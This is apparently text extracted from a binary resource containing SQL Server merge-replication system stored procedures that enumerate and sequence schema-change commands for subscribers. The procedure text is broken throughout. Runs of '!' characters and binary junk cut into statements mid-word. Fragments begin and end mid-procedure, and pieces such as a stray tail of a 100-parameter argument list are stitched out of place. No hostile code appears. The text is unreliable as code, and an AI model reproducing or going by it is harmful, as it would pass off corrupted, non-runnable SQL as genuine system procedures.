          delete from schema_changes where schematype in (105)

    end

    return (0)

end
::tus < @desired_schema_status
           order by schemaversion desc

        -- reinit with upload type commands
        union all
        select top 1 170 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 14
           and schemastatus < @desired_schema_status
           order by schemaversion desc

        -- The on-demand script and schema replication commands only that are greater than the snapshot trailer if one exists.
        union all
        select 190 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype, schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange
            where schemaversion > @schemaversion_of_snapshottrailer
            and schematype in (46, 11, 13, 300, 301)
            and pubid = @pubid
           and schemastatus < @desired_schema_status
           
         ) as schema_changes
         order by schema_type_group, processing_order, schemaversion 
    end

    return (0)

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|@`<(V11vacreate procedure sys.sp_MSgetmetadatabatch90new
    (@pubid uniqueidentifier,
     @tablenick int,
     @rowguid1 uniqueidentifier,
     @rowguid2 uniqueidentifier = NULL,
     @rowguid3 uniqueidentifier = NULL,
     @rowguid4 uniqueidentifier = NULL,
     @rowguid5 uniqueidentifier = NULL,
     @rowguid6 uniqueidentifier = NULL,
     @rowguid7 uniqueidentifier = NULL,
     @rowguid8 uniqueidentifier = NULL,
     @rowguid9 uniqueidentifier = NULL,
     @rowguid10 uniqueidentifier = NULL,
     @rowguid11 uniqueidentifier = NULL,
     @rowguid12 uniqueidentifier = NULL,
     @rowguid13 uniqueidentifier = NULL,
     @rowguid14 uniqueidentifier = NULL,
     @rowguid15 uniqueidentifier = NULL,
     @rowguid16 uniqueidentifier = NULL,
     @rowguid17 uniqueidentifier = NULL,
     @rowguid18 uniqueidentifier = NULL,
     @rowguid19 uniqueidentifier = NULL,
     @rowguid20 uniqueidentifier = NULL,
     @rowguid21 uniqueidentifier = NULL,
     @rowguid22 uniqueidentifier = NULL,
     @rowguid23 uniqueidentifier = NULL,
     @rowguid24 uniqueidentifier = NULL,
     @rowguid25 uniqueidentifier = NULL,
     @rowguid26 uniqueidentifier = NULL,
     @rowguid27 uniqueidentifier = NULL,
     @rowguid28 uniqueidentifier = NULL,
     @rowguid29 uniqueidentifier = NULL,
     @rowguid30 uniqueidentifier = NULL,
     @rowguid31 uniqueidentifier = NULL,
     @rowguid32 uniqueidentifier = NULL,
     @rowguid33 uniqueidentifier = NULL,
     @rowguid34 uniqueidentifier = NULL,
     @rowguid35 uniqueidentifier = NULL,
     @rowguid36 uniqueidentifier = NULL,
     @rowguid37 uniqueidentifier = NULL,
     @rowguid38 uniqueidentifier = NULL,
     @rowguid39 uniqueidentifier = NULL,
     @rowguid40 uniqueidentifier = NULL,
     @rowguid41 uniqueidentifier = NULL,
     @rowguid42 uniqueidentifier = NULL,
     @rowguid43 uniqueidentifier = NULL,
     @rowguid44 uniqueidentifier = NULL,
     @rowguid45 uniqueidentifier = NULL,
     @rowguid46 uniqueidentifier = NULL,
     @rowguid47 uniqueidentifier = NULL,
     @rowguid48 uniqueidentifier = NULL,
     @rowguid49 uniqueidentifier = NULL,
     @rowguid50 uniqueidentifier = NULL,
     @rowguid51 uniqueidentifier = NULL,
     @rowguid52 uniqueidentifier = NULL,
     @rowguid53 uniqueidentifier = NULL,
     @rowguid54 uniqueidentifier = NULL,
     @rowguid55 uniqueidentifier = NULL,
     @rowguid56 uniqueidentifier = NULL,
     @rowguid57 uniqueidentifier = NULL,
     @rowguid58 uniqueidentifier = NULL,
     @rowguid59 uniqueidentifier = NULL,
     @rowguid60 uniqueidentifier = NULL,
     @rowguid61 uniqueidentifier = NULL,
     @rowguid62 uniqueidentifier = NULL,
     @rowguid63 uniqueidentifier = NULL,
     @rowguid64 uniqueidentifier = NULL,
     @rowguid65 uniqueidentifier = NULL,
     @rowguid66 uniqueidentifier = NULL,
     @rowguid67 uniqueidentifier = NULL,
     @rowguid68 uniqueidentifier = NULL,
     @rowguid69 uniqueidentifier = NULL,
     @rowguid70 uniqueidentifier = NULL,
     @rowguid71 uniqueidentifier = NULL,
     @rowguid72 uniqueidentifier = NULL,
     @rowguid73 uniqueidentifier = NULL,
     @rowguid74 uniqueidentifier = NULL,
     @rowguid75 uniqueidentifier = NULL,
     @rowguid76 uniqueidentifier = NULL,
     @rowguid77 uniqueidentifier = NULL,
     @rowguid78 uniqueidentifier = NULL,
     @rowguid79 uniqueidentifier = NULL,
     @rowguid80 uniqueidentifier = NULL,
     @rowguid81 uniqueidentifier = NULL,
     @rowguid82 uniqueidentifier = NULL,
     @rowguid83 uniqueidentifier = NULL,
     @rowguid84 uniqueidentifier = NULL,
     @rowguid85 uniqueidentifier = NULL,
     @rowguid86 uniqueidentifier = NULL,
     @rowguid87 uniqueidentifier = NULL,
     @rowguid88 uniqueidentifier = NULL,
     @rowguid89 uniqueidentifier = NULL,
     @rowguid90 uniqueidentifier = NULL,
     @rowguid91 uniqueidentifier = NULL,
     @rowguid92 uniqueidentifier = NULL,
     @rowguid93 uniqueidentifier = NULL,
     @rowguid94 uniqueidentifier = NULL,
     @rowguid95 uniqueidentifier = NULL,
     @rowguid96 uniqueidentifier = NULL,
     @rowguid97 uniqueidentifier = NULL,
     @rowguid98 uniqueidentifier = NULL,
     @rowguid99 uniqueidentifier = NULL,
     @rowguid100 uniqueidentifier = NULL)
as
    declare @procname       nvarchar(270)
    declare @retcode int

    -- security check
    if (1 <> {fn ISPALUSER(@pubid)})
    begin
        RAISERROR (14126, 11, -1)
        return (1)
    end

    select @procname= 'dbo.' + metadata_select_proc from dbo.sysmergearticles where nickname = @tablenick and pubid=@pubid

    exec @retcode = @procname
                         @rowguid1,
                         @rowguid2,
                         @rowguid3,
                         @rowguid4,
                         @rowguid5,
                         @rowguid6,
                         @rowguid7,
                         @rowguid8,
                         @rowguid9,
                         @rowguid10,
                         @rowguid11,
                         @rowguid12,
                         @rowguid13,
                         @rowguid14,
                         @rowguid15,
                         @rowguid16,
                         @rowguid17,
                         @rowguid18,
                         @rowguid19,
                         @rowguid20,
                         @rowguid21,
                         @rowguid22,
                         @rowguid23,
                         @rowguid24,
                         @rowguid25,
                         @rowguid26,
                         @rowguid27,
                         @rowguid28,
                         @rowguid29,
                         @rowguid30,
                         @rowguid31,
                         @rowguid32,
                         @rowguid33,
                         @rowguid34,
                         @rowguid35,
                         @rowguid36,
                         @rowguid37,
                         @rowguid38,
                         @rowguid39,
                         @rowguid40,
                         @rowguid41,
                         @rowguid42,
                         @rowguid43,
                         @rowguid44,
                         @rowguid45,
                         @rowguid46,
                         @rowguid47,
                         @rowguid48,
                         @rowguid49,
                         @rowguid50,
                         @rowguid51,
                         @rowguid52,
                         @rowguid53,
                         @rowguid54,
                         @rowguid55,
                         @rowguid56,
                         @rowguid57,
                         @rowguid58,
                         @rowguid59,
                         @rowguid60,
                         @rowguid61,
                         @rowguid62,
                         @rowguid63,
                         @rowguid64,
                         @rowguid65,
                         @rowguid66,
                         @rowguid67,
                         @rowguid68,
                         @rowguid69,
                         @rowguid70,
                         @rowguid71,
                         @rowguid72,
                         @rowguid73,
                         @rowguid74,
                         @rowguid75,
                         @rowguid76,
                         @rowguid77,
                         @rowguid78,
                         @rowguid79,
                         @rowguid80,
                         @rowguid81,
                         @rowguid82,
                         @rowguid83,
                         @rowguid84,
                         @rowguid85,
                         @rowguid86,
                         @rowguid87,
                         @rowguid88,
                         @rowguid89,
          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(jhv|!
create procedure sys.sp_MSenumschemachange_80(
    @pubid                 uniqueidentifier,
    @AlterTableOnly                 int,
    @schemaversion         int
    )
as
    set nocount on
    /*
    ** To public
    */
    declare @alter_table_type       int
    declare @reinit_all_type        int
    declare @reinit_all_upload_type int
    declare @schemaversion_of_snapshottrailer int
    
    select @reinit_all_type = 12
    select @alter_table_type = 11
    select @reinit_all_upload_type = 14
    
    if (@schemaversion is null)
        begin
        RAISERROR(14043, 16, -1, '@schemaversion', 'sp_MSenumschemachange_80')
        return (1)
        end

        --  @schema_needed = 0 - only send back reinitall command, if any 
        --  @schema_needed = 1 - normal enumeration
        --  @schema_needed = 2 - only send back alter-table command, if any
        --  @schema_needed = 3 - only send back reinitall-with-upload command, if any.

    if (@AlterTableOnly = 1)
        begin
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                from dbo.sysmergeschemachange where pubid=@pubid and schemaversion > @schemaversion and schematype = @alter_table_type
            return (0)          
        end
        
    if exists (select * from dbo.sysmergeschemachange where 
        pubid=@pubid and ((schemaversion > @schemaversion and schematype = @reinit_all_type)
        or (schemaversion > @schemaversion and schematype = @reinit_all_upload_type)))
        begin
            select @schemaversion=0
        end

    if (@schemaversion > 0) 
    begin
        -- Subscriber has already received the snapshot so filter out 
        -- the pre/post-snapshot commands. 

        -- Also filter out the schemtypes for the setlastsentgen (5) and setlastrecgen (6)
        -- This ensures that the subscriber does not apply these schema changes when 
        -- it applies incremental schema - ie the perf optimization that is implemented 
        -- by setting last sent/rec generation should be done only for brand new subscriptions.
        -- Note: Excluded list should include all snapshot header, trailer commands
        select pubid, artid, schemaversion, schemaguid, 
               case schematype -- Pre-Yukon had some overloaded schematypes
                    when 18 then 9
                    when 21 then 8
                    when 23 then 8
                    else schematype
               end, 
               convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion  
           and pubid = @pubid
           and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6)
           and schematype not in (71, 80, 81, 82, 83, 84, 85, 88, 89, 90, 91, 92, 93, 96, 208, 209, 210, 211, 212, 213, 17) -- Filter out Yukon specific schema types
           and schematype not in (105) --Filter out Katmai specific schema types
        order by schemaversion 
        -- 71 Dynamic snapshot validation token
    end        
    Else 
    begin
        -- Subscriber requires a snapshot, so carefully sequence the 
        -- pre/post-snapshot commands around the snapshot boundary

        create table #schemachanges 
        (   
            pubid           uniqueidentifier  NOT NULL,
            artid           uniqueidentifier  NULL,
            schemaversion   int               NOT NULL,
            schemaguid      uniqueidentifier  NOT NULL,
            schematype      int               NOT NULL,
            schematext      nvarchar(2000)    collate database_default not null,
            seqno           int identity      NOT NULL
        )
        
        truncate table #schemachanges
        -- Insert snapshot header 

        -- Header begins
        insert into #schemachanges
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 50

        -- Header content
        insert into #schemachanges
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (25, 53, 54, 55, 56, 57, 58) 
        order by schemaversion 

        -- Header ends
        insert into #schemachanges
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 51 

        -- End of snapshot header 
        -- Insert pre command
        insert into #schemachanges
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 40 

        -- Exclude pre-post, but include snapshot only commands
        insert into #schemachanges
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (2, 3, 4, 20, 7, 60, 61, 62, 63, 64)
         order by schemaversion 

        -- Dynamic BCP commands
        insert into #schemachanges
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (131, 132)
         order by schemaversion      
        
        -- DRI/Trg/XPROP
        insert into #schemachanges
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (10, 15, 65)
         order by schemaversion      

        -- Insert post command
        insert into #schemachanges
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 45 

        -- Insert snapshot trailer
        insert into #schemachanges
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 52 
        
        -- Insert other schema changes
        insert into #schemachanges 
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and schematype not in (2, 3, 4, 10, 15, 20, 7, 40, 45, 60)
           and schematype not in (61, 62, 63, 64, 65)
           and schematype not in (25, 50, 51, 52, 53, 54, 55, 56, 57, 58)
           and schematype not in (131, 132) -- dynamic bcp commands
           and schematype not in (46, 11, 13) -- The on-demand script and schema replication commands should not be enumerated unless 
                                      -- we have made sure that it was posted after the current snapshot.
           and pubid = @pubid
         order by schemav!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<NW|!ersion                

        -- get the schemaversion of the snapshot trailer row
        select @schemaversion_of_snapshottrailer = schemaversion from dbo.sysmergeschemachange 
            where schemaversion > @schemaversion 
            and pubid = @pubid
            and schematype = 52 

        if (@schemaversion_of_snapshottrailer is not null)
        begin
            -- insert schema changes for on-demand script and schema replication commands which have schemaversion greater than
            -- schemaversion of the snapshot trailer row
            insert into #schemachanges 
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
            from dbo.sysmergeschemachange where schemaversion > @schemaversion_of_snapshottrailer 
            and schematype in (46, 11, 13) -- The on-demand script and schema replication commands only.
            and pubid = @pubid
            order by schemaversion
        end
            
        declare @endofsnapshot int
        select @endofsnapshot = min(seqno) from #schemachanges 
        where schematype = 52
        delete #schemachanges where seqno > @endofsnapshot
            and (schematype in (2, 3, 4, 10, 15, 20, 7, 40, 45, 65) or 
            schematype in (25, 50, 51, 52, 53, 54, 55, 56, 57, 58))

        --only list the last reinitall command 
        delete schemachanges1 from #schemachanges schemachanges1,#schemachanges schemachanges2 
            where schemachanges1.pubid=@pubid and schemachanges1.schematype=12 and 
                  schemachanges2.pubid=@pubid and schemachanges2.schematype=12 and
                  schemachanges1.schemaversion<schemachanges2.schemaversion

        --only list the last reinitall-with-upload command 
        delete schemachanges1 from #schemachanges schemachanges1, #schemachanges schemachanges2 
            where schemachanges1.pubid=@pubid and schemachanges1.schematype=14 and 
                  schemachanges2.pubid=@pubid and schemachanges2.schematype=14 and
                  schemachanges1.schemaversion<schemachanges2.schemaversion

        -- Remove Yukon specific schematypes
        -- 71 Dynamic snapshot validation token
                -- SCHEMA_TYPE_USER_DEFINED_DATA_TYPE           = 88,
                -- SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE       = 89,
                -- SCHEMA_TYPE_ASSEMBLY                                 = 90,
                -- SCHEMA_TYPE_PARTITIONSCHEME                          = 91,
                -- SCHEMA_TYPE_PARTITIONFUNCTION                        = 92,
                -- SCHEMA_TYPE_XMLSCHEMANAMESPACE                       = 93,
                -- SCHEMA_TYPE_FULLTEXTCATALOG                          = 96,
                -- SCHEMA_TYPE_USER_SCHEMA                              = 31
    	-- Remove Katmai specific schematypes
                --SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE			   = 105
        delete #schemachanges where schematype in (71, 80, 81, 82, 83, 84, 85, 88, 89, 90, 91, 92, 93, 96, 31, 208, 209, 210, 211, 212, 213, 17, 105)

        -- Some schematypes that are distinct in Yukon used to have wrong number pre-Shiloh.
        -- Map them back to the old values.
        update #schemachanges set schematype=8 where schematype in (21,23)
        update #schemachanges set schematype=9 where schematype = 18

        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from #schemachanges order by seqno

        drop table #schemachanges
    end

    return (0)
L/"L/ate database_default = UPPER(publishingservername()) collate database_default
                and db_name = DB_NAME() and pubid = @pubid

        select @sysmergesub_schemaversion = schemaversion, @sysmergesub_schemaguid = schemaguid
                from dbo.sysmergesubscriptions where subid = @subid 

        /* 
        ** If the schema version matches the dbo.sysmergesubscriptions.schemaversion and the schema_type = 52 (snapshot trailer), 
        ** then reuse the dbo.sysmergesubscriptions.schema_guid. Otherwise generate a new guid.
        */
        if @sysmergesub_schemaversion is NOT NULL and @schemaversion = @sysmergesub_schemaversion and @schematype = 52
        begin
            set @schemaguid = @sysmergesub_schemaguid
        end
        else
        begin
            set @schemaguid = newid()
        end
            
        exec @retcode = sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, 
            @schemaguid, @schematype, @schematext
        if @@error <> 0 or @retcode <> 0
        begin
            RAISERROR(20054 , 16, -1)
            return (1)
        end
    end

    if (@schematype = 7)
    begin
        update dbo.sysmergesubscriptions set last_validated=getdate() where pubid=@pubid and subid=@pubid
        IF @@ERROR <> 0
        begin
            RAISERROR(20054 , 16, -1)
            RETURN (1)
        end
    end     

        /*
        ** If we are inserting the snapshot trailer then we are done with the snapshot commands.
        ** At this time remove all entries of type 
        ** SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE, 
        ** SCHEMA_TYPE_PARTITIONSCHEME
        ** SCHEMA_TYPE_PARTITIONFUNCTION
        ** that are still marked inactive.
        */
        
    if (@schematype = 52)
    begin
        delete from dbo.sysmergeschemachange where pubid=@pubid and schematype in (88, 89, 90, 91, 92, 93, 96, 105) and schemastatus = 0
        IF @@ERROR <> 0
        begin
            RETURN (1)
        end
    end     

    return (0)
**                 @rowguid75,
                        @rowguid76,
                        @rowguid77,
                        @rowguid78,
                        @rowguid79,
                        @rowguid80,
                        @rowguid81,
                        @rowguid82,
                        @rowguid83,
                        @rowguid84,
                        @rowguid85,
                        @rowguid86,
                        @rowguid87,
                        @rowguid88,
                        @rowguid89,
                        @rowguid90,
                        @rowguid91,
                        @rowguid92,
                        @rowguid93,
                        @rowguid94,
                        @rowguid95,
                        @rowguid96,
                        @rowguid97,
                        @rowguid98,
                        @rowguid99,
                        @rowguid100
    
    if @@error<>0 and @retcode=1
        return 0

    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(\Ov4
CREATE PROCEDURE sys.sp_MSenumschemachange_80sp3(
        @pubid                         uniqueidentifier,
        @AlterTableOnly                                 int,
        @schemaversion         int
        )
as
    set nocount on
        /*
        ** To public
        */
        declare @alter_table_type               int
        declare @reinit_all_type                int
        declare @reinit_all_upload_type int
        declare @schemaversion_of_snapshottrailer int
        
        select @reinit_all_type = 12
        select @alter_table_type = 11
        select @reinit_all_upload_type = 14
        
        if (@schemaversion is null)
                begin
                RAISERROR(14043, 16, -1, '@schemaversion', 'sp_MSenumschemachange_80sp3')
                return (1)
                end

                --      @schema_needed = 0 - only send back reinitall command, if any 
                --  @schema_needed = 1 - normal enumeration
                --  @schema_needed = 2 - only send back alter-table command, if any
                --  @schema_needed = 3 - only send back reinitall-with-upload command, if any.

        if (@AlterTableOnly = 1)
                begin
                        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                                from sysmergeschemachange where pubid=@pubid and schemaversion > @schemaversion and schematype = @alter_table_type
                        return (0)                      
                end
                
        if exists (select * from sysmergeschemachange where 
                pubid=@pubid and ((schemaversion > @schemaversion and schematype = @reinit_all_type)
                or (schemaversion > @schemaversion and schematype = @reinit_all_upload_type)))
                begin
                        select @schemaversion=0
                end

        -- If subscriber missed a preparecleanup and a completecleanup they must be reinitialized
        
        if exists (select * from sysmergeschemachange where 
                pubid=@pubid and schemaversion > @schemaversion and schematype = 17) and
            exists (select * from sysmergeschemachange where 
                pubid=@pubid and schemaversion > @schemaversion and schematype = 19)            
                begin
                        set @schemaversion=0
                end
                
    if (@schemaversion > 0) 
    begin
        -- Subscriber has already received the snapshot so filter out 
        -- the pre/post-snapshot commands. 
        -- If @schemaversion > 0, there are two main cases that we need to 
        -- consider: 
        -- i) There are incremental article commands such as bcp/schema 
        --    commands that need to be applied within a "fake" snapshot 
        --    boundary
        -- ii) There is no incremental article commands, schema changes can be
        --     applied "normally"
        declare @min_incremental_schemaversion int
        declare @max_incremental_schemaversion int

        select @min_incremental_schemaversion = null

        select @min_incremental_schemaversion = min(schemaversion),         
               @max_incremental_schemaversion = max(schemaversion)
          from dbo.sysmergeschemachange where schemaversion > @schemaversion
           and pubid = @pubid 
           -- normal snapshot commands excluding pre/post snapshot commands
           -- and system tables commands
           and schematype in (2, 3, 4, 61, 62, 63, 64, 131, 132, 10, 15, 65)

        if @min_incremental_schemaversion is not null
        begin
            
            -- case i), we have incrementally added articles

            -- Need to save off the schemaguid of the max incremental change
            -- for labelling the trailer. This is to prevent the schema 
            -- validation logic from raising false alarm saying that the
            -- publisher is restored from a backup
            declare @max_incremental_schemaguid uniqueidentifier            
            select @max_incremental_schemaguid = schemaguid 
              from dbo.sysmergeschemachange 
             where schemaversion = @max_incremental_schemaversion
               and pubid = @pubid               
                
            declare @incremental_schematype_bit int
            select @incremental_schematype_bit = 1024

            declare @incremental_schemachanges table
            (   
                pubid           uniqueidentifier  NOT NULL,
                artid           uniqueidentifier  NULL,
                schemaversion   int               NOT NULL,
                schemaguid      uniqueidentifier  NOT NULL,
                schematype      int               NOT NULL,
                schematext      nvarchar(2000)    collate database_default not null,
                seqno           int identity      NOT NULL
            )
            if @@error <> 0 return 1
            
            -- Insert every thing before @min_incremental_schemaversion but
            -- after @schemaversion
            -- Note: Excluded list should include all snapshot header, trailer commands

            insert into @incremental_schemachanges 
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
              from dbo.sysmergeschemachange where schemaversion > @schemaversion
               and schemaversion < @min_incremental_schemaversion 
               and pubid = @pubid
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71, 80, 81, 82, 83, 84, 85, 208, 209, 210, 211, 212, 213)
            order by schemaversion 
            if @@error <> 0 return 1

            -- Incremental snapshot header
            -- Header begins
            insert into @incremental_schemachanges
            select pubid, artid, @min_incremental_schemaversion, schemaguid, schematype | @incremental_schematype_bit, convert(nvarchar(2000), schematext) as schematext 
              from dbo.sysmergeschemachange
             where pubid = @pubid
               and schematype = 50
            if @@error <> 0 return 1
                
            -- Header content
            insert into @incremental_schemachanges
            select pubid, artid, @min_incremental_schemaversion, schemaguid, schematype | @incremental_schematype_bit, convert(nvarchar(2000), schematext) as schematext
              from dbo.sysmergeschemachange
             where pubid = @pubid
               and schematype in (25, 53, 54, 55, 56, 57, 58)
            order by schemaversion 
            if @@error <> 0 return 1

            -- Header ends
            insert into @incremental_schemachanges
            select pubid, artid, @min_incremental_schemaversion, schemaguid, schematype | @incremental_schematype_bit, convert(nvarchar(2000), schematext) as schematext
             from dbo.sysmergeschemachange
            where pubid = @pubid
              and schematype = 51
            if @@error <> 0 return 1

            -- Add everything between max and min and filter out things
            -- we didn't want before in the normal case
            -- Note: Excluded list should include all snapshot header, trailer commands
            insert into @incremental_schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71, 80, 81, 82, 83, 84, 85, 208, 209, 210, 211, 212, 213)
            order by schemaversion 
            if @@e!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<("Rv4rror <> 0 return 1

            -- Incremental snapshot trailer
            insert into @incremental_schemachanges
            select pubid, artid, @max_incremental_schemaversion, @max_incremental_schemaguid, schematype | @incremental_schematype_bit, convert(nvarchar(2000), schematext) as schematext
              from dbo.sysmergeschemachange 
             where pubid = @pubid
               and schematype = 52
            if @@error <> 0 return 1

            -- Add everything after the incremental article commands
            -- Note: Excluded list should include all snapshot header, trailer commands
            insert into @incremental_schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
              from dbo.sysmergeschemachange where schemaversion > @max_incremental_schemaversion
               and pubid = @pubid 
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71, 80, 81, 82, 83, 84, 85, 208, 209, 210, 211, 212, 213)
            order by schemaversion 

            -- Remove Yukon specific schematypes
            -- 71 Dynamic snapshot validation token
                        -- SCHEMA_TYPE_USER_DEFINED_DATA_TYPE           = 88,
                        -- SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE       = 89,
                        -- SCHEMA_TYPE_ASSEMBLY                                 = 90,
                        -- SCHEMA_TYPE_PARTITIONSCHEME                          = 91,
                        -- SCHEMA_TYPE_PARTITIONFUNCTION                        = 92,
                        -- SCHEMA_TYPE_XMLSCHEMANAMESPACE                       = 93,
                        -- SCHEMA_TYPE_FULLTEXTCATALOG                          = 96,
                        -- SCHEMA_TYPE_USER_SCHEMA                              = 31
		-- Remove Katmai specific schematypes                       
                        -- SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE		    = 105
            delete @incremental_schemachanges where schematype in (71, 80, 81, 82, 83, 84, 85, 88, 89, 90, 91, 92, 93, 96, 31, 208, 209, 210, 211, 212, 213, 17, 105)

            -- Some schematypes that are distinct in Yukon used to have wrong number pre-Shiloh.
            -- Map them back to the old values.
